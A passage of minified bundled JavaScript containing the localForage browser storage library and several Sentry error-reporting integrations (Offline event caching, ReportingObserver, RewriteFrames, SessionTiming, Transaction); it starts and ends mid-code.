E1}).then(function(E1){ZA.db=pA.db=E1,NA._dbInfo=ZA;for(var Z6=0;Z6<s1.length;Z6++){var Z8=s1[Z6];if(Z8!==NA)Z8._dbInfo.db=ZA.db,Z8._dbInfo.version=ZA.version}})}function jA(q1,NA){var ZA=this;q1=D(q1);var gA=new G(function(pA,dA){ZA.ready().then(function(){_A(ZA._dbInfo,T,function(G1,R1){if(G1)return dA(G1);try{var u1=R1.objectStore(ZA._dbInfo.storeName),s1=u1.get(q1);s1.onsuccess=function(){var E1=s1.result;if(E1===void 0)E1=null;if(e(E1))E1=YA(E1);pA(E1)},s1.onerror=function(){dA(s1.error)}}catch(E1){dA(E1)}})}).catch(dA)});return Z(gA,NA),gA}function MA(q1,NA){var ZA=this,gA=new G(function(pA,dA){ZA.ready().then(function(){_A(ZA._dbInfo,T,function(G1,R1){if(G1)return dA(G1);try{var u1=R1.objectStore(ZA._dbInfo.storeName),s1=u1.openCursor(),E1=1;s1.onsuccess=function(){var Z6=s1.result;if(Z6){var Z8=Z6.value;if(e(Z8))Z8=YA(Z8);var j4=q1(Z8,Z6.key,E1++);if(j4!==void 0)pA(j4);else Z6.continue()}else pA()},s1.onerror=function(){dA(s1.error)}}catch(Z6){dA(Z6)}})}).catch(dA)});return Z(gA,NA),gA}function hA(q1,NA,ZA){var gA=this;q1=D(q1);var pA=new G(function(dA,G1){var R1;gA.ready().then(function(){if(R1=gA._dbInfo,N.call(NA)==="[object Blob]")return y(R1.db).then(function(u1){if(u1)return NA;return c(NA)});return NA}).then(function(u1){_A(gA._dbInfo,C,function(s1,E1){if(s1)return G1(s1);try{var Z6=E1.objectStore(gA._dbInfo.storeName);if(u1===null)u1=void 0;var Z8=Z6.put(u1,q1);E1.oncomplete=function(){if(u1===void 0)u1=null;dA(u1)},E1.onabort=E1.onerror=function(){var j4=Z8.error?Z8.error:Z8.transaction.error;G1(j4)}}catch(j4){G1(j4)}})}).catch(G1)});return Z(pA,ZA),pA}function yA(q1,NA){var ZA=this;q1=D(q1);var gA=new G(function(pA,dA){ZA.ready().then(function(){_A(ZA._dbInfo,C,function(G1,R1){if(G1)return dA(G1);try{var u1=R1.objectStore(ZA._dbInfo.storeName),s1=u1.delete(q1);R1.oncomplete=function(){pA()},R1.onerror=function(){dA(s1.error)},R1.onabort=function(){var E1=s1.error?s1.error:s1.transaction.error;dA(E1)}}catch(E1){dA(E1)}})}).catch(dA)});return Z(gA,NA),gA}function AA(q1){var NA=this,ZA=new G(function(gA,pA){NA.ready().then(function(){_A(NA._dbInfo,C,function(dA,G1){if(dA)return pA(dA);try{var R1=G1.objectStore(NA._dbInfo.storeName),u1=R1.clear();G1.oncomplete=function(){gA()},G1.onabort=G1.onerror=function(){var s1=u1.error?u1.error:u1.transaction.error;pA(s1)}}catch(s1){pA(s1)}})}).catch(pA)});return Z(ZA,q1),ZA}function wA(q1){var NA=this,ZA=new G(function(gA,pA){NA.ready().then(function(){_A(NA._dbInfo,T,function(dA,G1){if(dA)return pA(dA);try{var R1=G1.objectStore(NA._dbInfo.storeName),u1=R1.count();u1.onsuccess=function(){gA(u1.result)},u1.onerror=function(){pA(u1.error)}}catch(s1){pA(s1)}})}).catch(pA)});return Z(ZA,q1),ZA}function GA(q1,NA){var ZA=this,gA=new G(function(pA,dA){if(q1<0){pA(null);return}ZA.ready().then(function(){_A(ZA._dbInfo,T,function(G1,R1){if(G1)return dA(G1);try{var u1=R1.objectStore(ZA._dbInfo.storeName),s1=!1,E1=u1.openKeyCursor();E1.onsuccess=function(){var Z6=E1.result;if(!Z6){pA(null);return}if(q1===0)pA(Z6.key);else if(!s1)s1=!0,Z6.advance(q1);else pA(Z6.key)},E1.onerror=function(){dA(E1.error)}}catch(Z6){dA(Z6)}})}).catch(dA)});return Z(gA,NA),gA}function OA(q1){var NA=this,ZA=new G(function(gA,pA){NA.ready().then(function(){_A(NA._dbInfo,T,function(dA,G1){if(dA)return pA(dA);try{var R1=G1.objectStore(NA._dbInfo.storeName),u1=R1.openKeyCursor(),s1=[];u1.onsuccess=function(){var E1=u1.result;if(!E1){gA(s1);return}s1.push(E1.key),E1.continue()},u1.onerror=function(){pA(u1.error)}}catch(E1){pA(E1)}})}).catch(pA)});return Z(ZA,q1),ZA}function t(q1,NA){NA=j.apply(this,arguments);var ZA=this.config();if(q1=typeof q1!=="function"&&q1||{},!q1.name)q1.name=q1.name||ZA.name,q1.storeName=q1.storeName||ZA.storeName;var gA=this,pA;if(!q1.name)pA=G.reject("Invalid arguments");else{var dA=q1.name===ZA.name&&gA._dbInfo.db,G1=dA?G.resolve(gA._dbInfo.db):u(q1).then(function(R1){var u1=f[q1.name],s1=u1.forages;u1.db=R1;for(var E1=0;E1<s1.length;E1++)s1[E1]._dbInfo.db=R1;return R1});if(!q1.storeName)pA=G1.then(function(R1){B(q1);var u1=f[q1.name],s1=u1.forages;R1.close();for(var E1=0;E1<s1.length;E1++){var Z6=s1[E1];Z6._dbInfo.db=null}var Z8=new G(function(j4,d4){var r4=X.deleteDatabase(q1.name);r4.onerror=function(){var U7=r4.result;if(U7)U7.close();d4(r4.error)},r4.onblocked=function(){console.warn('dropInstance blocked for database "'+q1.name+'" until all open connections are closed')},r4.onsuccess=function(){var U7=r4.result;if(U7)U7.close();j4(U7)}});return Z8.then(function(j4){u1.db=j4;for(var d4=0;d4<s1.length;d4++){var r4=s1[d4];b(r4._dbInfo)}}).catch(function(j4){throw(F(q1,j4)||G.resolve()).catch(function(){}),j4})});else pA=G1.then(function(R1){if(!R1.objectStoreNames.contains(q1.storeName))return;var u1=R1.version+1;B(q1);var s1=f[q1.name],E1=s1.forages;R1.close();for(var Z6=0;Z6<E1.length;Z6++){var Z8=E1[Z6];Z8._dbInfo.db=null,Z8._dbInfo.version=u1}var j4=new G(function(d4,r4){var U7=X.open(q1.name,u1);U7.onerror=function(Fq){var z2=U7.result;z2.close(),r4(Fq)},U7.onupgradeneeded=function(){var Fq=U7.result;Fq.deleteObjectStore(q1.storeName)},U7.onsuccess=function(){var Fq=U7.result;Fq.close(),d4(Fq)}});return j4.then(function(d4){s1.db=d4;for(var r4=0;r4<E1.length;r4++){var U7=E1[r4];U7._dbInfo.db=d4,b(U7._dbInfo)}}).catch(function(d4){throw(F(q1,d4)||G.resolve()).catch(function(){}),d4})})}return Z(pA,NA),pA}var XA={_driver:"asyncStorage",_initStorage:JA,_support:$(),iterate:MA,getItem:jA,setItem:hA,removeItem:yA,clear:AA,length:wA,key:GA,keys:OA,dropInstance:t};function VA(){return typeof openDatabase==="function"}var vA="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",RA="~~local_forage_type~",fA=/^~~local_forage_type~([^~]+)~/,LA="__lfsc__:",SA=LA.length,xA="arbf",iA="blob",lA="si08",v1="ui08",I1="uic8",Q1="si16",B1="si32",C6="ur16",w1="ui32",$1="fl32",N1="fl64",A6=SA+xA.length,c1=Object.prototype.toString;function w6(q1){var NA=q1.length*0.75,ZA=q1.length,gA,pA=0,dA,G1,R1,u1;if(q1[q1.length-1]==="="){if(NA--,q1[q1.length-2]==="=")NA--}var s1=new ArrayBuffer(NA),E1=new Uint8Array(s1);for(gA=0;gA<ZA;gA+=4)dA=vA.indexOf(q1[gA]),G1=vA.indexOf(q1[gA+1]),R1=vA.indexOf(q1[gA+2]),u1=vA.indexOf(q1[gA+3]),E1[pA++]=dA<<2|G1>>4,E1[pA++]=(G1&15)<<4|R1>>2,E1[pA++]=(R1&3)<<6|u1&63;return s1}function DA(q1){var NA=new Uint8Array(q1),ZA="",gA;for(gA=0;gA<NA.length;gA+=3)ZA+=vA[NA[gA]>>2],ZA+=vA[(NA[gA]&3)<<4|NA[gA+1]>>4],ZA+=vA[(NA[gA+1]&15)<<2|NA[gA+2]>>6],ZA+=vA[NA[gA+2]&63];if(NA.length%3===2)ZA=ZA.substring(0,ZA.length-1)+"=";else if(NA.length%3===1)ZA=ZA.substring(0,ZA.length-2)+"==";return ZA}function EA(q1,NA){var ZA="";if(q1)ZA=c1.call(q1);if(q1&&(ZA==="[object ArrayBuffer]"||q1.buffer&&c1.call(q1.buffer)==="[object ArrayBuffer]")){var gA,pA=LA;if(q1 instanceof ArrayBuffer)gA=q1,pA+=xA;else if(gA=q1.buffer,ZA==="[object Int8Array]")pA+=lA;else if(ZA==="[object Uint8Array]")pA+=v1;else if(ZA==="[object Uint8ClampedArray]")pA+=I1;else if(ZA==="[object Int16Array]")pA+=Q1;else if(ZA==="[object Uint16Array]")pA+=C6;else if(ZA==="[object Int32Array]")pA+=B1;else if(ZA==="[object Uint32Array]")pA+=w1;else if(ZA==="[object Float32Array]")pA+=$1;else if(ZA==="[object Float64Array]")pA+=N1;else NA(Error("Failed to get type for BinaryArray"));NA(pA+DA(gA))}else if(ZA==="[object Blob]"){var dA=new FileReader;dA.onload=function(){var G1=RA+q1.type+"~"+DA(this.result);NA(LA+iA+G1)},dA.readAsArrayBuffer(q1)}else try{NA(JSON.stringify(q1))}catch(G1){console.error("Couldn't convert value into a JSON string: ",q1),NA(null,G1)}}function rA(q1){if(q1.substring(0,SA)!==LA)return JSON.parse(q1);var NA=q1.substring(A6),ZA=q1.substring(SA,A6),gA;if(ZA===iA&&fA.test(NA)){var pA=NA.match(fA);gA=pA[1],NA=NA.substring(pA[0].length)}var dA=w6(NA);switch(ZA){case xA:return dA;case iA:return _([dA],{type:gA});case lA:return new Int8Array(dA);case v1:return new Uint8Array(dA);case I1:return new Uint8ClampedArray(dA);case Q1:return new Int16Array(dA);case C6:return new Uint16Array(dA);case B1:return new Int32Array(dA);case w1:return new Uint32Array(dA);case $1:return new Float32Array(dA);case N1:return new Float64Array(dA);default:throw Error("Unkown type: "+ZA)}}var J1={serialize:EA,deserialize:rA,stringToBuffer:w6,bufferToString:DA};function aA(q1,NA,ZA,gA){q1.executeSql("CREATE TABLE IF NOT EXISTS "+NA.storeName+" (id INTEGER PRIMARY KEY, key unique, value)",[],ZA,gA)}function z1(q1){var NA=this,ZA={db:null};if(q1)for(var gA in q1)ZA[gA]=typeof q1[gA]!=="string"?q1[gA].toString():q1[gA];var pA=new G(function(dA,G1){try{ZA.db=openDatabase(ZA.name,String(ZA.version),ZA.description,ZA.size)}catch(R1){return G1(R1)}ZA.db.transaction(function(R1){aA(R1,ZA,function(){NA._dbInfo=ZA,dA()},function(u1,s1){G1(s1)})},G1)});return ZA.serializer=J1,pA}function f1(q1,NA,ZA,gA,pA,dA){q1.executeSql(ZA,gA,pA,function(G1,R1){if(R1.code===R1.SYNTAX_ERR)G1.executeSql("SELECT name FROM sqlite_master WHERE type='table' AND name = ?",[NA.storeName],function(u1,s1){if(!s1.rows.length)aA(u1,NA,function(){u1.executeSql(ZA,gA,pA,dA)},dA);else dA(u1,R1)},dA);else dA(G1,R1)},dA)}function T1(q1,NA){var ZA=this;q1=D(q1);var gA=new G(function(pA,dA){ZA.ready().then(function(){var G1=ZA._dbInfo;G1.db.transaction(function(R1){f1(R1,G1,"SELECT * FROM "+G1.storeName+" WHERE key = ? LIMIT 1",[q1],function(u1,s1){var E1=s1.rows.length?s1.rows.item(0).value:null;if(E1)E1=G1.serializer.deserialize(E1);pA(E1)},function(u1,s1){dA(s1)})})}).catch(dA)});return Z(gA,NA),gA}function K6(q1,NA){var ZA=this,gA=new G(function(pA,dA){ZA.ready().then(function(){var G1=ZA._dbInfo;G1.db.transaction(function(R1){f1(R1,G1,"SELECT * FROM "+G1.storeName,[],function(u1,s1){var E1=s1.rows,Z6=E1.length;for(var Z8=0;Z8<Z6;Z8++){var j4=E1.item(Z8),d4=j4.value;if(d4)d4=G1.serializer.deserialize(d4);if(d4=q1(d4,j4.key,Z8+1),d4!==void 0){pA(d4);return}}pA()},function(u1,s1){dA(s1)})})}).catch(dA)});return Z(gA,NA),gA}function U6(q1,NA,ZA,gA){var pA=this;q1=D(q1);var dA=new G(function(G1,R1){pA.ready().then(function(){if(NA===void 0)NA=null;var u1=NA,s1=pA._dbInfo;s1.serializer.serialize(NA,function(E1,Z6){if(Z6)R1(Z6);else s1.db.transaction(function(Z8){f1(Z8,s1,"INSERT OR REPLACE INTO "+s1.storeName+" (key, value) VALUES (?, ?)",[q1,E1],function(){G1(u1)},function(j4,d4){R1(d4)})},function(Z8){if(Z8.code===Z8.QUOTA_ERR){if(gA>0){G1(U6.apply(pA,[q1,u1,ZA,gA-1]));return}R1(Z8)}})})}).catch(R1)});return Z(dA,ZA),dA}function e8(q1,NA,ZA){return U6.apply(this,[q1,NA,ZA,1])}function D8(q1,NA){var ZA=this;q1=D(q1);var gA=new G(function(pA,dA){ZA.ready().then(function(){var G1=ZA._dbInfo;G1.db.transaction(function(R1){f1(R1,G1,"DELETE FROM "+G1.storeName+" WHERE key = ?",[q1],function(){pA()},function(u1,s1){dA(s1)})})}).catch(dA)});return Z(gA,NA),gA}function Y7(q1){var NA=this,ZA=new G(function(gA,pA){NA.ready().then(function(){var dA=NA._dbInfo;dA.db.transaction(function(G1){f1(G1,dA,"DELETE FROM "+dA.storeName,[],function(){gA()},function(R1,u1){pA(u1)})})}).catch(pA)});return Z(ZA,q1),ZA}function T7(q1){var NA=this,ZA=new G(function(gA,pA){NA.ready().then(function(){var dA=NA._dbInfo;dA.db.transaction(function(G1){f1(G1,dA,"SELECT COUNT(key) as c FROM "+dA.storeName,[],function(R1,u1){var s1=u1.rows.item(0).c;gA(s1)},function(R1,u1){pA(u1)})})}).catch(pA)});return Z(ZA,q1),ZA}function H4(q1,NA){var ZA=this,gA=new G(function(pA,dA){ZA.ready().then(function(){var G1=ZA._dbInfo;G1.db.transaction(function(R1){f1(R1,G1,"SELECT key FROM "+G1.storeName+" WHERE id = ? LIMIT 1",[q1+1],function(u1,s1){var E1=s1.rows.length?s1.rows.item(0).key:null;pA(E1)},function(u1,s1){dA(s1)})})}).catch(dA)});return Z(gA,NA),gA}function u7(q1){var NA=this,ZA=new G(function(gA,pA){NA.ready().then(function(){var dA=NA._dbInfo;dA.db.transaction(function(G1){f1(G1,dA,"SELECT key FROM "+dA.storeName,[],function(R1,u1){var s1=[];for(var E1=0;E1<u1.rows.length;E1++)s1.push(u1.rows.item(E1).key);gA(s1)},function(R1,u1){pA(u1)})})}).catch(pA)});return Z(ZA,q1),ZA}function s7(q1){return new G(function(NA,ZA){q1.transaction(function(gA){gA.executeSql("SELECT name FROM sqlite_master WHERE type='table' AND name <> '__WebKitDatabaseInfoTable__'",[],function(pA,dA){var G1=[];for(var R1=0;R1<dA.rows.length;R1++)G1.push(dA.rows.item(R1).name);NA({db:q1,storeNames:G1})},function(pA,dA){ZA(dA)})},function(gA){ZA(gA)})})}function k5(q1,NA){NA=j.apply(this,arguments);var ZA=this.config();if(q1=typeof q1!=="function"&&q1||{},!q1.name)q1.name=q1.name||ZA.name,q1.storeName=q1.storeName||ZA.storeName;var gA=this,pA;if(!q1.name)pA=G.reject("Invalid arguments");else pA=new G(function(dA){var G1;if(q1.name===ZA.name)G1=gA._dbInfo.db;else G1=openDatabase(q1.name,"","",0);if(!q1.storeName)dA(s7(G1));else dA({db:G1,storeNames:[q1.storeName]})}).then(function(dA){return new G(function(G1,R1){dA.db.transaction(function(u1){function s1(j4){return new G(function(d4,r4){u1.executeSql("DROP TABLE IF EXISTS "+j4,[],function(){d4()},function(U7,Fq){r4(Fq)})})}var E1=[];for(var Z6=0,Z8=dA.storeNames.length;Z6<Z8;Z6++)E1.push(s1(dA.storeNames[Z6]));G.all(E1).then(function(){G1()}).catch(function(j4){R1(j4)})},function(u1){R1(u1)})})});return Z(pA,NA),pA}var iq={_driver:"webSQLStorage",_initStorage:z1,_support:VA(),iterate:K6,getItem:T1,setItem:e8,removeItem:D8,clear:Y7,length:T7,key:H4,keys:u7,dropInstance:k5};function r8(){try{return typeof localStorage<"u"&&"setItem"in localStorage&&!!localStorage.setItem}catch(q1){return!1}}function E8(q1,NA){var ZA=q1.name+"/";if(q1.storeName!==NA.storeName)ZA+=q1.storeName+"/";return ZA}function X9(){var q1="_localforage_support_test";try{return localStorage.setItem(q1,!0),localStorage.removeItem(q1),!1}catch(NA){return!0}}function I3(){return!X9()||localStorage.length>0}function Z3(q1){var NA=this,ZA={};if(q1)for(var gA in q1)ZA[gA]=q1[gA];if(ZA.keyPrefix=E8(q1,NA._defaultConfig),!I3())return G.reject();return NA._dbInfo=ZA,ZA.serializer=J1,G.resolve()}function S3(q1){var NA=this,ZA=NA.ready().then(function(){var gA=NA._dbInfo.keyPrefix;for(var pA=localStorage.length-1;pA>=0;pA--){var dA=localStorage.key(pA);if(dA.indexOf(gA)===0)localStorage.removeItem(dA)}});return Z(ZA,q1),ZA}function dY(q1,NA){var ZA=this;q1=D(q1);var gA=ZA.ready().then(function(){var pA=ZA._dbInfo,dA=localStorage.getItem(pA.keyPrefix+q1);if(dA)dA=pA.serializer.deserialize(dA);return dA});return Z(gA,NA),gA}function vY(q1,NA){var ZA=this,gA=ZA.ready().then(function(){var pA=ZA._dbInfo,dA=pA.keyPrefix,G1=dA.length,R1=localStorage.length,u1=1;for(var s1=0;s1<R1;s1++){var E1=localStorage.key(s1);if(E1.indexOf(dA)!==0)continue;var Z6=localStorage.getItem(E1);if(Z6)Z6=pA.serializer.deserialize(Z6);if(Z6=q1(Z6,E1.substring(G1),u1++),Z6!==void 0)return Z6}});return Z(gA,NA),gA}function $9(q1,NA){var ZA=this,gA=ZA.ready().then(function(){var pA=ZA._dbInfo,dA;try{dA=localStorage.key(q1)}catch(G1){dA=null}if(dA)dA=dA.substring(pA.keyPrefix.length);return dA});return Z(gA,NA),gA}function EY(q1){var NA=this,ZA=NA.ready().then(function(){var gA=NA._dbInfo,pA=localStorage.length,dA=[];for(var G1=0;G1<pA;G1++){var R1=localStorage.key(G1);if(R1.indexOf(gA.keyPrefix)===0)dA.push(R1.substring(gA.keyPrefix.length))}return dA});return Z(ZA,q1),ZA}function Yw(q1){var NA=this,ZA=NA.keys().then(function(gA){return gA.length});return Z(ZA,q1),ZA}function QK(q1,NA){var ZA=this;q1=D(q1);var gA=ZA.ready().then(function(){var pA=ZA._dbInfo;localStorage.removeItem(pA.keyPrefix+q1)});return Z(gA,NA),gA}function _9(q1,NA,ZA){var gA=this;q1=D(q1);var pA=gA.ready().then(function(){if(NA===void 0)NA=null;var dA=NA;return new G(function(G1,R1){var u1=gA._dbInfo;u1.serializer.serialize(NA,function(s1,E1){if(E1)R1(E1);else try{localStorage.setItem(u1.keyPrefix+q1,s1),G1(dA)}catch(Z6){if(Z6.name==="QuotaExceededError"||Z6.name==="NS_ERROR_DOM_QUOTA_REACHED")R1(Z6);R1(Z6)}})})});return Z(pA,ZA),pA}function kY(q1,NA){if(NA=j.apply(this,arguments),q1=typeof q1!=="function"&&q1||{},!q1.name){var ZA=this.config();q1.name=q1.name||ZA.name,q1.storeName=q1.storeName||ZA.storeName}var gA=this,pA;if(!q1.name)pA=G.reject("Invalid arguments");else pA=new G(function(dA){if(!q1.storeName)dA(q1.name+"/");else dA(E8(q1,gA._defaultConfig))}).then(function(dA){for(var G1=localStorage.length-1;G1>=0;G1--){var R1=localStorage.key(G1);if(R1.indexOf(dA)===0)localStorage.removeItem(R1)}});return Z(pA,NA),pA}var gq={_driver:"localStorageWrapper",_initStorage:Z3,_support:r8(),iterate:vY,getItem:dY,setItem:_9,removeItem:QK,clear:S3,length:Yw,key:$9,keys:EY,dropInstance:kY},T6=function(NA,ZA){return NA===ZA||typeof NA==="number"&&typeof ZA==="number"&&isNaN(NA)&&isNaN(ZA)},W7=function(NA,ZA){var gA=NA.length,pA=0;while(pA<gA){if(T6(NA[pA],ZA))return!0;pA++}return!1},Q8=Array.isArray||function(q1){return Object.prototype.toString.call(q1)==="[object Array]"},n4={},Xq={},IK={INDEXEDDB:XA,WEBSQL:iq,LOCALSTORAGE:gq},h3=[IK.INDEXEDDB._driver,IK.WEBSQL._driver,IK.LOCALSTORAGE._driver],Y4=["dropInstance"],c8=["clear","getItem","iterate","key","keys","length","removeItem","setItem"].concat(Y4),z4={description:"",driver:h3.slice(),name:"localforage",size:4980736,storeName:"keyvaluepairs",version:1};function $q(q1,NA){q1[NA]=function(){var ZA=arguments;return q1.ready().then(function(){return q1[NA].apply(q1,ZA)})}}function p3(){for(var q1=1;q1<arguments.length;q1++){var NA=arguments[q1];if(NA){for(var ZA in NA)if(NA.hasOwnProperty(ZA))if(Q8(NA[ZA]))arguments[0][ZA]=NA[ZA].slice();else arguments[0][ZA]=NA[ZA]}}return arguments[0]}var b5=function(){function q1(NA){J(this,q1);for(var ZA in IK)if(IK.hasOwnProperty(ZA)){var gA=IK[ZA],pA=gA._driver;if(this[ZA]=pA,!n4[pA])this.defineDriver(gA)}this._defaultConfig=p3({},z4),this._config=p3({},this._defaultConfig,NA),this._driverSet=null,this._initDriver=null,this._ready=!1,this._dbInfo=null,this._wrapLibraryMethodsWithReady(),this.setDriver(this._config.driver).catch(function(){})}return q1.prototype.config=function(ZA){if((typeof ZA>"u"?"undefined":H(ZA))==="object"){if(this._ready)return Error("Can't call config() after localforage has been used.");for(var gA in ZA){if(gA==="storeName")ZA[gA]=ZA[gA].replace(/\W/g,"_");if(gA==="version"&&typeof ZA[gA]!=="number")return Error("Database version must be a number.");this._config[gA]=ZA[gA]}if("driver"in ZA&&ZA.driver)return this.setDriver(this._config.driver);return!0}else if(typeof ZA==="string")return this._config[ZA];else return this._config},q1.prototype.defineDriver=function(ZA,gA,pA){var dA=new G(function(G1,R1){try{var u1=ZA._driver,s1=Error("Custom driver not compliant; see https://mozilla.github.io/localForage/#definedriver");if(!ZA._driver){R1(s1);return}var E1=c8.concat("_initStorage");for(var Z6=0,Z8=E1.length;Z6<Z8;Z6++){var j4=E1[Z6],d4=!W7(Y4,j4);if((d4||ZA[j4])&&typeof ZA[j4]!=="function"){R1(s1);return}}var r4=function(){var z2=function(zJ){return function(){var NH=Error("Method "+zJ+" is not implemented by the current driver"),dw=G.reject(NH);return Z(dw,arguments[arguments.length-1]),dw}};for(var b3=0,zw=Y4.length;b3<zw;b3++){var pw=Y4[b3];if(!ZA[pw])ZA[pw]=z2(pw)}};r4();var U7=function(z2){if(n4[u1])console.info("Redefining LocalForage driver: "+u1);n4[u1]=ZA,Xq[u1]=z2,G1()};if("_support"in ZA)if(ZA._support&&typeof ZA._support==="function")ZA._support().then(U7,R1);else U7(!!ZA._support);else U7(!0)}catch(Fq){R1(Fq)}});return W(dA,gA,pA),dA},q1.prototype.driver=function(){return this._driver||null},q1.prototype.getDriver=function(ZA,gA,pA){var dA=n4[ZA]?G.resolve(n4[ZA]):G.reject(Error("Driver not found."));return W(dA,gA,pA),dA},q1.prototype.getSerializer=function(ZA){var gA=G.resolve(J1);return W(gA,ZA),gA},q1.prototype.ready=function(ZA){var gA=this,pA=gA._driverSet.then(function(){if(gA._ready===null)gA._ready=gA._initDriver();return gA._ready});return W(pA,ZA,ZA),pA},q1.prototype.setDriver=function(ZA,gA,pA){var dA=this;if(!Q8(ZA))ZA=[ZA];var G1=this._getSupportedDrivers(ZA);function R1(){dA._config.driver=dA.driver()}function u1(Z6){return dA._extend(Z6),R1(),dA._ready=dA._initStorage(dA._config),dA._ready}function s1(Z6){return function(){var Z8=0;function j4(){while(Z8<Z6.length){var d4=Z6[Z8];return Z8++,dA._dbInfo=null,dA._ready=null,dA.getDriver(d4).then(u1).catch(j4)}R1();var r4=Error("No available storage method found.");return dA._driverSet=G.reject(r4),dA._driverSet}return j4()}}var E1=this._driverSet!==null?this._driverSet.catch(function(){return G.resolve()}):G.resolve();return this._driverSet=E1.then(function(){var Z6=G1[0];return dA._dbInfo=null,dA._ready=null,dA.getDriver(Z6).then(function(Z8){dA._driver=Z8._driver,R1(),dA._wrapLibraryMethodsWithReady(),dA._initDriver=s1(G1)})}).catch(function(){R1();var Z6=Error("No available storage method found.");return dA._driverSet=G.reject(Z6),dA._driverSet}),W(this._driverSet,gA,pA),this._driverSet},q1.prototype.supports=function(ZA){return!!Xq[ZA]},q1.prototype._extend=function(ZA){p3(this,ZA)},q1.prototype._getSupportedDrivers=function(ZA){var gA=[];for(var pA=0,dA=ZA.length;pA<dA;pA++){var G1=ZA[pA];if(this.supports(G1))gA.push(G1)}return gA},q1.prototype._wrapLibraryMethodsWithReady=function(){for(var ZA=0,gA=c8.length;ZA<gA;ZA++)$q(this,c8[ZA])},q1.prototype.createInstance=function(ZA){return new q1(ZA)},q1}(),W3=new b5;z.exports=W3},{"3":3}]},{},[4])(4)})});var Ik8=v((yk8)=>{Object.defineProperty(yk8,"__esModule",{value:!0});var Tb=H8(),D65=Rk8(),Z6A=ovA(),Pi=Tb.GLOBAL_OBJ;class avA{static __initStatic(){this.id="Offline"}constructor(A={}){this.name=avA.id,this.maxStoredEvents=A.maxStoredEvents||30,this.offlineEventStore=D65.createInstance({name:"sentry/offlineEventStore"})}setupOnce(A,K){if(this.hub=K(),"addEventListener"in Pi)Pi.addEventListener("online",()=>{this._sendEvents().catch(()=>{Z6A.DEBUG_BUILD&&Tb.logger.warn("could not send cached events")})});let q=(Y)=>{if(this.hub&&this.hub.getIntegration(avA)){if("navigator"in Pi&&"onLine"in Pi.navigator&&!Pi.navigator.onLine)return Z6A.DEBUG_BUILD&&Tb.logger.log("Event dropped due to being a offline - caching instead"),this._cacheEvent(Y).then((z)=>this._enforceMaxEvents()).catch((z)=>{Z6A.DEBUG_BUILD&&Tb.logger.warn("could not cache event while offline")}),null}return Y};if(q.id=this.name,A(q),"navigator"in Pi&&"onLine"in Pi.navigator&&Pi.navigator.onLine)this._sendEvents().catch(()=>{Z6A.DEBUG_BUILD&&Tb.logger.warn("could not send cached events")})}async _cacheEvent(A){return this.offlineEventStore.setItem(Tb.uuid4(),Tb.normalize(A))}async _enforceMaxEvents(){let A=[];return this.offlineEventStore.iterate((K,q,Y)=>{A.push({cacheKey:q,event:K})}).then(()=>this._purgeEvents(A.sort((K,q)=>(q.event.timestamp||0)-(K.event.timestamp||0)).slice(this.maxStoredEvents<A.length?this.maxStoredEvents:A.length).map((K)=>K.cacheKey))).catch((K)=>{Z6A.DEBUG_BUILD&&Tb.logger.warn("could not enforce max events")})}async _purgeEvent(A){return this.offlineEventStore.removeItem(A)}async _purgeEvents(A){return Promise.all(A.map((K)=>this._purgeEvent(K))).then()}async _sendEvents(){return this.offlineEventStore.iterate((A,K,q)=>{if(this.hub)this.hub.captureEvent(A),this._purgeEvent(K).catch((Y)=>{Z6A.DEBUG_BUILD&&Tb.logger.warn("could not purge event from cache")});else Z6A.DEBUG_BUILD&&Tb.logger.warn("no hub found - could not send cached event")})}}avA.__initStatic();yk8.Offline=avA});var Bk8=v((uk8)=>{Object.defineProperty(uk8,"__esModule",{value:!0});var svA=sq(),hk8=H8(),M65=hk8.GLOBAL_OBJ,bk8="ReportingObserver",Sk8=new WeakMap,P65=(A={})=>{let K=A.types||["crash","deprecation","intervention"];function q(Y){if(!Sk8.has(svA.getClient()))return;for(let z of Y)svA.withScope((w)=>{w.setExtra("url",z.url);let H=`ReportingObserver [${z.type}]`,J="No details available";if(z.body){let O={};for(let X in z.body)O[X]=z.body[X];if(w.setExtra("body",O),z.type==="crash"){let X=z.body;J=[X.crashId||"",X.reason||""].join(" ").trim()||J}else J=z.body.message||J}svA.captureMessage(`${H}: ${J}`)})}return{name:bk8,setupOnce(){if(!hk8.supportsReportingObserver())return;new M65.ReportingObserver(q,{buffered:!0,types:K}).observe()},setup(Y){Sk8.set(Y,!0)}}},xk8=svA.defineIntegration(P65),V65=svA.convertIntegrationFnToClass(bk8,xk8);uk8.ReportingObserver=V65;uk8.reportingObserverIntegration=xk8});var pk8=v((Uk8)=>{Object.defineProperty(Uk8,"__esModule",{value:!0});var gk8=sq(),mk8=H8(),Fk8="RewriteFrames",T65=(A={})=>{let K=A.root,q=A.prefix||"app:///",Y=A.iteratee||((H)=>{if(!H.filename)return H;let J=/^[a-zA-Z]:\\/.test(H.filename)||H.filename.includes("\\")&&!H.filename.includes("/"),O=/^\//.test(H.filename);if(J||O){let X=J?H.filename.replace(/^[a-zA-Z]:/,"").replace(/\\/g,"/"):H.filename,$=K?mk8.relative(K,X):mk8.basename(X);H.filename=`${q}${$}`}return H});function z(H){try{return{...H,exception:{...H.exception,values:H.exception.values.map((J)=>({...J,...J.stacktrace&&{stacktrace:w(J.stacktrace)}}))}}}catch(J){return H}}function w(H){return{...H,frames:H&&H.frames&&H.frames.map((J)=>Y(J))}}return{name:Fk8,setupOnce(){},processEvent(H){let J=H;if(H.exception&&Array.isArray(H.exception.values))J=z(J);return J}}},Qk8=gk8.defineIntegration(T65),v65=gk8.convertIntegrationFnToClass(Fk8,Qk8);Uk8.RewriteFrames=v65;Uk8.rewriteFramesIntegration=Qk8});var nk8=v((ik8)=>{Object.defineProperty(ik8,"__esModule",{value:!0});var dk8=sq(),ck8="SessionTiming",C65=()=>{let A=Date.now();return{name:ck8,setupOnce(){},processEvent(K){let q=Date.now();return{...K,extra:{...K.extra,["session:start"]:A,["session:duration"]:q-A,["session:end"]:q}}}}},lk8=dk8.defineIntegration(C65),L65=dk8.convertIntegrationFnToClass(ck8,lk8);ik8.SessionTiming=L65;ik8.sessionTimingIntegration=lk8});var ak8=v((ok8)=>{Object.defineProperty(ok8,"__esModule",{value:!0});var I65=sq(),rk8="Transaction",S65=()=>{return{name:rk8,setupOnce(){},processEvent(A){let K=b65(A);for(let q=K.length-1;q>=0;q--){let Y=K[q];if(Y.in_app===!0){A.transaction=x65(Y);break}}return A}}},h65=I65.convertIntegrationFnToClass(rk8,S65);function b65(A){let K=A.exception&&A.exception.values&&A.exception.values[0];return K&&K.stacktrace&&K.stacktrace.frames||[]}function x65(A){return 